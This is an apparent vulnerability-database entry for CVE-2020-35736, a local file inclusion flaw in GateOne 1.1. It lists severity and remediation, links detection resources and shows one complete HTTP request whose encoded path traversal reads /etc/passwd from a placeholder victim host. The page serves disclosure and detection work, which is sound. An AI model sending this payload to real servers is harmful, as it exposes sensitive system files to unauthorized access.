🔙 목록으로 돌아가기

CVE-2020-35736: GateOne 1.1 - Local File Inclusion

TitleGateOne 1.1 - Local File Inclusion
Authorpikpikcu
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the affected system.
RemediationApply the latest security patches or updates provided by the vendor to mitigate the LFI vulnerability in GateOne 1.1.
CVSS Score7.5
EPSS Score0.82358
CVE IDCVE-2020-35736
CWE IDCWE-22
Tags cve cve2020 gateone lfi liftoffsoftware vuln

🔍 Vulnerability Description

GateOne 1.1 allows arbitrary file retrieval without authentication via /downloads/.. local file inclusion because os.path.join is incorrectly used.

🌐 HTTP Request

GET /downloads/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-35736.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-35736.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A